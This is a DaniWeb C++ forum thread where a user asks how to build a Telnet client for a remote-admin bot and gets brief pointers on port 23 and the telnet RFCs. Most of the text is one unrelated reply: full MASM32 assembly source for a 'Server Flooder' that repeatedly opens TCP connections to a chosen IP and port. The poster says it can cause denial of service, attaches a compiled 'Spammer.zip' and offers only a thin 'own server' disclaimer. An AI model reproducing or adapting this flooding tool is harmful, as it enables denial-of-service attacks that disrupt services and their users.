Telnet Client

Please support our C++ advertiser: Intel Parallel Studio Home
Reply

Join Date: Mar 2005
Posts: 64
Reputation: atrusmre is an unknown quantity at this point 
Solved Threads: 0
atrusmre's Avatar
atrusmre atrusmre is offline Offline
Junior Poster in Training

Telnet Client

 
0
  #1
Mar 29th, 2005
I am currently trying to write a Telnet Client program in Visual C++. I was wondering if anyone knows where I can find a tutorial on how to write the protocals for telnet, or how to connect to a telnet server. I have written a small "chat" program (the one that they use in the Teach Yourself C++ books) and understand how it works, but not sure what to do for a telnet client. Any help would be wonderful.

Thanx,
Atrus
Reply With Quote Quick reply to this message  
Join Date: Mar 2004
Posts: 1,620
Reputation: kc0arf is a jewel in the rough kc0arf is a jewel in the rough kc0arf is a jewel in the rough 
Solved Threads: 51
Team Colleague
kc0arf kc0arf is offline Offline
Posting Virtuoso

Re: Telnet Client

 
0
  #2
Mar 29th, 2005
Hello,

Telnet operates on TCP / IP port 23, so you are going to need to manage that socket in your program. You might also want to search out RFC's on telnet programs to see what ports the negotiation occurs on.

As long as you are still doing your homework, it may also pay to determine what kind of terminal emulation you are going to support. ANSI? VT-102? VT-240? All of these terminal emulations will require study in the protocols... for examaple, VT-240 is Dec graphics mode, and that means colored lines.

You might also consider an SSH option with the software too.

WIth the amount of telnet programs out there, I am not going to ask why... but if you are going to take the time to write one, do your homework and get the scope of the design down at this stage.

Christian
Reply With Quote Quick reply to this message  
Join Date: Mar 2005
Posts: 64
Reputation: atrusmre is an unknown quantity at this point 
Solved Threads: 0
atrusmre's Avatar
atrusmre atrusmre is offline Offline
Junior Poster in Training

Re: Telnet Client

 
0
  #3
Mar 29th, 2005
Just because you're wondering I will let you know. I am trying to write a third party "bot" program for another program that allows remote admin via telnet. My program willl have buttons set up to execute certian commands and such, as the remote admin telnet server is difficult to use.

Cheers and thanx for the insite,
Atrus
Reply With Quote Quick reply to this message  
Join Date: Mar 2005
Posts: 64
Reputation: atrusmre is an unknown quantity at this point 
Solved Threads: 0
atrusmre's Avatar
atrusmre atrusmre is offline Offline
Junior Poster in Training

Re: Telnet Client

 
0
  #4
Mar 29th, 2005
OK, so from some quick research it looks like 854 and 855 are the RFCs for telnet. Now do I have have my socket's listen on those ports also?

Atrus
Reply With Quote Quick reply to this message  
Join Date: Mar 2008
Posts: 1
Reputation: dotsun is an unknown quantity at this point 
Solved Threads: 0
dotsun dotsun is offline Offline
Newbie Poster

Re: Telnet Client

 
0
  #5
Mar 10th, 2008
Originally Posted by atrusmre View Post
I am currently trying to write a Telnet Client program in Visual C++. I was wondering if anyone knows where I can find a tutorial on how to write the protocals for telnet, or how to connect to a telnet server. I have written a small "chat" program (the one that they use in the Teach Yourself C++ books) and understand how it works, but not sure what to do for a telnet client. Any help would be wonderful.

Thanx,
Atrus

I am write same very simple telnet for Windows on C++ , look here
http://cms.xd24.ru/telnet.aspx?l=en
Reply With Quote Quick reply to this message  
Join Date: Mar 2008
Posts: 5
Reputation: Devoney is an unknown quantity at this point 
Solved Threads: 0
Devoney Devoney is offline Offline
Newbie Poster

Re: Telnet Client

 
0
  #6
Mar 10th, 2008
Don't look at the size of the sample code I provided you down here, otherwise I will scare you of maybe.

Here is a sample of a program which connects to a server by using sockets initialized with the WSAStartup function.

Use API32 reference of microsoft to understand what the functions are for. It is written in assembly, you can compile the source code with masm32 (assembly compiler, free for download).

The purpose of this program is to flood a server on one port. You can provoke a Denial of Service with this (DOS attack) so only use it on your own server!! I am not responsible for any illegal server flooding. I have included the application itself so it is easier to see what the code is all about.

Hopefully this is some helpfull information for you.

  1. ; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
  2.  
  3. .486 ; create 32 bit code
  4. .model flat, stdcall ; 32 bit memory model
  5. option casemap :none ; case sensitive
  6.  
  7. ; include files
  8. ; ~~~~~~~~~~~~~
  9. include \masm32\include\windows.inc
  10. include \masm32\include\masm32.inc
  11. include \masm32\include\gdi32.inc
  12. include \masm32\include\user32.inc
  13. include \masm32\include\kernel32.inc
  14. include \masm32\include\Comctl32.inc
  15. include \masm32\include\comdlg32.inc
  16. include \masm32\include\shell32.inc
  17. include \masm32\include\oleaut32.inc
  18. include \masm32\include\dialogs.inc
  19. include \masm32\include\ws2_32.inc
  20. include \masm32\macros\macros.asm
  21.  
  22.  
  23. ; libraries
  24. ; ~~~~~~~~~
  25. includelib \masm32\lib\masm32.lib
  26. includelib \masm32\lib\gdi32.lib
  27. includelib \masm32\lib\user32.lib
  28. includelib \masm32\lib\kernel32.lib
  29. includelib \masm32\lib\Comctl32.lib
  30. includelib \masm32\lib\comdlg32.lib
  31. includelib \masm32\lib\shell32.lib
  32. includelib \masm32\lib\oleaut32.lib
  33. includelib \masm32\lib\ws2_32.lib
  34.  
  35. DlgProc PROTO :DWORD,:DWORD,:DWORD,:DWORD
  36.  
  37. .const
  38. CRLF equ 0dh, 0ah
  39.  
  40. .data?
  41. hWnd dd ?
  42. hInstance dd ?
  43. IpToFlood db ?
  44.  
  45. .data
  46. ;Message Related Data
  47. Mes1Caption db "License agreement.",0
  48. Mes1Message db "Created by Devoney, november 2007."
  49. db CRLF
  50. db CRLF
  51. db "This program is freeware. The creator of this program is not responsible for what"
  52. db CRLF
  53. db "you do with it. The main purpose of this program is to test the behaviour of a"
  54. db CRLF
  55. db "server with many connection attempts. Please do not abuse."
  56. db CRLF
  57. db CRLF
  58. db "Enjoy a Devoney Creation."
  59. db CRLF
  60. db CRLF
  61. db "Do you understand this license?",0
  62. Mes2Caption db "Invalid data",0
  63. Mes2Message db "No valid data has been specified.",0
  64. Mes3Caption db "Socket Error",0
  65. Mes3Message db "Could not create a functional socket.",0
  66. Mes4Caption db "Connection Error",0
  67. Mes4Message db "Could not make a connection.",0
  68. Mes5Caption db "Socket (re)Initialisation Error",0
  69. Mes5Message db "Application failed to initialize WSAstartup function.",0
  70. Mes6Caption db "Determine Maximum Sockets",0
  71. Mes6Message db "This will determine the maximum sockets that your computer can provide."
  72. db CRLF
  73. db CRLF
  74. db "This might take a while, would you like to continue?",0
  75. Mes7Caption db "Done",0
  76. Mes7Message db "The maximum sockets is: ",0
  77. Mes8Caption db "Info",0
  78. Mes8Message db "Already 50,000 sockets created."
  79. db CRLF
  80. db "Would you like to quit?",0
  81.  
  82. ;Socket Related Data
  83. WSAStruc WSADATA <>
  84. SocketAddress sockaddr_in <>
  85. hosty hostent <>
  86. ChangeDlgText db "Sockets Created:",0
  87. RestoreText1 db "Max Connections:",0
  88.  
  89. ;Connection related
  90. PortToUse dd 00000000h
  91. TotalConnections dd 00000000h
  92. TotalFails dd 00000000h
  93. TotalSucces dd 00000000h
  94. TotalConAllowed dd 00000000h
  95. MaxSocks dd 00000000h
  96. MaxSocksBuffer dd 00000000h
  97. StopConnecting dd 00h
  98.  
  99. .code
  100.  
  101. ; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
  102.  
  103. start:
  104.  
  105. mov hInstance, FUNC(GetModuleHandle,NULL)
  106.  
  107. call main
  108.  
  109. invoke ExitProcess,eax
  110.  
  111. ; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
  112.  
  113. main proc
  114.  
  115. Dialog "Server Flooder", \ ; caption
  116. "MS Sans Serif",10, \ ; font,pointsize
  117. WS_OVERLAPPED or \ ; styles for
  118. WS_SYSMENU or DS_CENTER, \ ; dialog window
  119. 14, \ ; number of controls
  120. 50,50,155,100, \ ; x y co-ordinates
  121. 1024 ; memory buffer size
  122.  
  123. DlgButton "Flood",WS_TABSTOP,106,5,40,13,IDOK
  124. DlgButton "Exit",WS_TABSTOP,106,20,40,13,IDCANCEL
  125. DlgButton "Stop",WS_TABSTOP,106,35,40,13,111
  126. DlgStatic "Ip address:",SS_LEFT,5,5,60,9,100
  127. DlgEdit SS_LEFT,5,15,60,9,101
  128. DlgStatic "Port number:",SS_LEFT,5,25,60,9,102
  129. DlgEdit SS_LEFT,5,35,60,9,103
  130. DlgStatic "Connected / Failed:",SS_LEFT,5,65,60,9,104
  131. DlgStatic "0",SS_LEFT,5,75,15,9,105
  132. DlgStatic "/",SS_LEFT,25,75,15,9,110
  133. DlgStatic "0",SS_LEFT,45,75,15,9,109
  134. DlgStatic "Max Connections:",SS_LEFT,5,45,60,9,106
  135. DlgEdit SS_LEFT,5,55,60,9,107
  136. DlgButton "Det. Max Sockets",WS_TABSTOP,81,65,65,13,108
  137.  
  138. CallModalDialog hInstance,0,DlgProc,NULL
  139.  
  140. ret
  141.  
  142. main endp
  143.  
  144. ; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
  145.  
  146. DlgProc proc hWin:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
  147.  
  148. Switch uMsg
  149. Case WM_INITDIALOG
  150. invoke SendMessage,hWin,WM_SETICON,1,
  151. FUNC(LoadIcon,NULL,IDI_ASTERISK)
  152. m2m hWnd, hWin
  153.  
  154. ;Show a license messagebox
  155. PUSH MB_YESNO
  156. PUSH offset Mes1Caption
  157. PUSH offset Mes1Message
  158. PUSH hWin
  159. Call MessageBoxA
  160. CMP EAX, 7
  161. JE quit_dialog
  162.  
  163. ;Disable the stop button
  164. PUSH 111
  165. PUSH hWin
  166. Call GetDlgItem
  167. PUSH 0
  168. PUSH EAX
  169. Call EnableWindow
  170.  
  171. ;first initialize that we are going to use sockets
  172. PUSH offset WSAStruc
  173. PUSH 0101h
  174. Call WSAStartup
  175. CMP EAX, 0
  176. JNE WSAError
  177.  
  178. ;Set standard port text
  179. PUSH NULL
  180. PUSH 80
  181. PUSH 103
  182. PUSH hWin
  183. Call SetDlgItemInt
  184.  
  185. return 1
  186. Case WM_COMMAND
  187. Switch wParam
  188. Case IDOK
  189.  
  190. MOV StopConnecting, 0
  191.  
  192. ;gray out the Flood button
  193. PUSH IDOK
  194. PUSH hWin
  195. Call GetDlgItem
  196. PUSH 0 ;0 is disable, 1 is enable
  197. PUSH EAX
  198. Call EnableWindow
  199.  
  200. ;Enable the stop button
  201. PUSH 111
  202. PUSH hWin
  203. Call GetDlgItem
  204. PUSH 1
  205. PUSH EAX
  206. Call EnableWindow
  207.  
  208. ;reset the connection number
  209. PUSH FALSE
  210. PUSH 0
  211. PUSH 105
  212. PUSH hWin
  213. Call SetDlgItemInt
  214.  
  215. ;reset connections to 0
  216. MOV TotalConnections, 0
  217. MOV TotalFails, 0
  218. MOV TotalSucces, 0
  219.  
  220. ;Get the ip from the textboxes
  221. PUSH 32h
  222. PUSH offset IpToFlood
  223. PUSH 101
  224. PUSH hWin
  225. Call GetDlgItemText
  226.  
  227. ;get the port from the textboxes
  228. PUSH FALSE
  229. PUSH NULL ;specifies if we want information about the function being succesfull.
  230. PUSH 103
  231. PUSH hWin
  232. Call GetDlgItemInt
  233. CMP EAX, 0
  234. JE ErrorInvalidData
  235. MOV PortToUse, EAX
  236.  
  237. ;get to maximum amount of connections allowed
  238. PUSH FALSE
  239. PUSH NULL ;specifies if we want information about the function being succesfull.
  240. PUSH 107
  241. PUSH hWin
  242. Call GetDlgItemInt
  243. CMP EAX, 0
  244. JE ErrorInvalidData
  245. MOV TotalConAllowed, EAX
  246.  
  247. ;port and ip are set, keep going.
  248.  
  249. ;check if we use a good IP.
  250. PUSH offset IpToFlood
  251. Call inet_addr
  252. CMP EAX, INADDR_NONE
  253. JE ErrorInvalidData
  254. MOV SocketAddress.sin_addr,EAX
  255.  
  256. ;process the port number
  257. PUSH PortToUse
  258. Call htons
  259. MOV SocketAddress.sin_port, AX
  260.  
  261. ConnectAgain:
  262.  
  263. ;Check if the stop button is pressed
  264. ;CMP StopConnecting, 1
  265. ;JE StopConnectingJMP
  266.  
  267. ;Update the Window
  268. PUSH hWin
  269. Call UpdateWindow
  270.  
  271. ;create a socket
  272. PUSH 0
  273. PUSH SOCK_STREAM
  274. PUSH PF_INET
  275. Call socket ;invoke socket,PF_INET,SOCK_STREAM,0
  276. ;check if this socket is valid
  277. CMP EAX, INVALID_SOCKET
  278. JE NoSocket
  279.  
  280. ;fix parameter
  281. MOV SocketAddress.sin_family,AF_INET
  282.  
  283. PUSH sizeof SocketAddress
  284. PUSH offset SocketAddress
  285. PUSH EAX
  286. Call connect
  287. CMP EAX, 0 ;Enable these 2 lines to be notified of connection errors
  288. JE ConnectionSucces ;The program stops connection and shows a message.
  289.  
  290. ;Connection failed
  291. INC TotalFails
  292. JMP ConnectionFailureCont
  293.  
  294. ConnectionSucces:
  295. ;We have succesfully connected
  296. INC TotalSucces
  297. PUSH FALSE
  298. PUSH TotalSucces
  299. PUSH 105
  300. PUSh hWin
  301. Call SetDlgItemInt
  302. PUSH FALSE
  303. PUSH TotalFails
  304. PUSH 109
  305. PUSH hWin
  306. Call SetDlgItemInt
  307.  
  308.  
  309. ConnectionFailureCont:
  310. INC TotalConnections
  311. ;Check if we reached maximum connections allowed.
  312. MOV EBX, TotalConAllowed
  313. MOV ECX, TotalConnections
  314. CMP ECX, EBX
  315. JL ConnectAgain
  316.  
  317. StopConnectingJMP:
  318. ;Enable the Flood button
  319. PUSH IDOK
  320. PUSH hWin
  321. Call GetDlgItem
  322. PUSH 1 ;0 is disable, 1 is enable
  323. PUSH EAX
  324. Call EnableWindow
  325.  
  326. Case IDCANCEL
  327. jmp quit_dialog
  328.  
  329. Case 108
  330. PUSH MB_YESNO
  331. PUSH offset Mes6Caption
  332. PUSH offset Mes6Message
  333. PUSH hWin
  334. Call MessageBoxA
  335. CMP EAX, 7
  336. JE Skip
  337.  
  338. ;change text in dialog control
  339. PUSH offset ChangeDlgText
  340. PUSH 106
  341. PUSH hWin
  342. Call SetDlgItemText
  343.  
  344. DetMaxSock:
  345. PUSH hWin
  346. Call UpdateWindow
  347. ;create a socket
  348. PUSH 0
  349. PUSH SOCK_STREAM
  350. PUSH PF_INET
  351. Call socket ;invoke socket,PF_INET,SOCK_STREAM,0
  352. ;check if this socket is valid
  353. INC MaxSocks
  354. CMP EAX, INVALID_SOCKET
  355. JE DoneCheck
  356. ;Set dlg int
  357. PUSH FALSE
  358. PUSH MaxSocks
  359. PUSH 107
  360. PUSH hWin
  361. Call SetDlgItemInt
  362.  
  363. ;infinite creating of sockets is useless
  364. CMP MaxSocks, 50000
  365. JGE Useless
  366. JMP DetMaxSock
  367.  
  368. DoneCheck:
  369. PUSH MaxSocks
  370. PUSH offset MaxSocksBuffer
  371. Call dwtoa
  372.  
  373. PUSH offset MaxSocksBuffer
  374. PUSH offset Mes7Message
  375. Call lstrcat
  376.  
  377. PUSH MB_ICONINFORMATION
  378. PUSH offset Mes7Caption
  379. PUSH offset Mes7Message
  380. PUSH hWin
  381. Call MessageBoxA
  382.  
  383. Skip2:
  384. ;Clear the junk texts etc.
  385. PUSH offset RestoreText1
  386. PUSH 106
  387. PUSH hWin
  388. Call SetDlgItemText
  389.  
  390. MOV MaxSocksBuffer, 0
  391. PUSH FALSE
  392. PUSh 0
  393. PUSH 107
  394. PUSH hWin
  395. Call SetDlgItemInt
  396.  
  397. ;Clean up the sockets
  398. Call WSACleanup
  399.  
  400. ;Initialize the sockets again
  401. PUSH offset WSAStruc
  402. PUSH 0101h
  403. Call WSAStartup
  404. CMP EAX, 0
  405. JNE WSAError
  406.  
  407. case 111
  408. MOV StopConnecting, 1
  409.  
  410. Skip:
  411. EndSw
  412. Case WM_CLOSE
  413. quit_dialog:
  414. invoke EndDialog,hWin,0
  415. JMP Ending
  416.  
  417. ErrorInvalidData:
  418. LEA EDI, Mes2Caption
  419. LEA ESI, Mes2Message
  420. JMP FinalMes
  421.  
  422. NoSocket:
  423. LEA EDI, Mes3Caption
  424. LEA ESI, Mes3Message
  425. JMP FinalMes
  426.  
  427. ConnectionError:
  428. LEA EDI, Mes4Caption
  429. LEA ESI, Mes4Message
  430. JMP FinalMes
  431.  
  432. WSAError:
  433. LEA EDI, Mes5Caption
  434. LEA ESI, Mes5Message
  435. JMP FinalMes
  436.  
  437. Useless:
  438. PUSH MB_YESNO
  439. PUSH offset Mes8Caption
  440. PUSH offset Mes8Message
  441. PUSH hWin
  442. Call MessageBoxA
  443. CMP EAX, 7 ;if answer is no, we continue
  444. JE DetMaxSock
  445. JMP Skip2
  446.  
  447. FinalMes:
  448. PUSH MB_ICONERROR
  449. PUSH EDI
  450. PUSH ESI
  451. PUSH hWin
  452. Call MessageBoxA
  453.  
  454. ;Enable the Flood button
  455. PUSH IDOK
  456. PUSH hWin
  457. Call GetDlgItem
  458. PUSH 1 ;0 is disable, 1 is enable
  459. PUSH EAX
  460. Call EnableWindow
  461.  
  462.  
  463. Ending:
  464. EndSw
  465.  
  466. return 0
  467.  
  468. DlgProc endp
  469.  
  470. ; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
  471.  
  472. end start
Attached Files
File Type: zip Spammer.zip (8.1 KB, 11 views)
Reply With Quote Quick reply to this message  
Reply

This thread is more than three months old.
Perhaps start a new thread instead?
Message:



Similar Threads
Other Threads in the C++ Forum
Thread Tools Search this Thread



About Us | Contact Us | Advertise | DaniWeb | Acceptable Use Policy | RSS Feed

©2003 - 2009 DaniWeb® LLC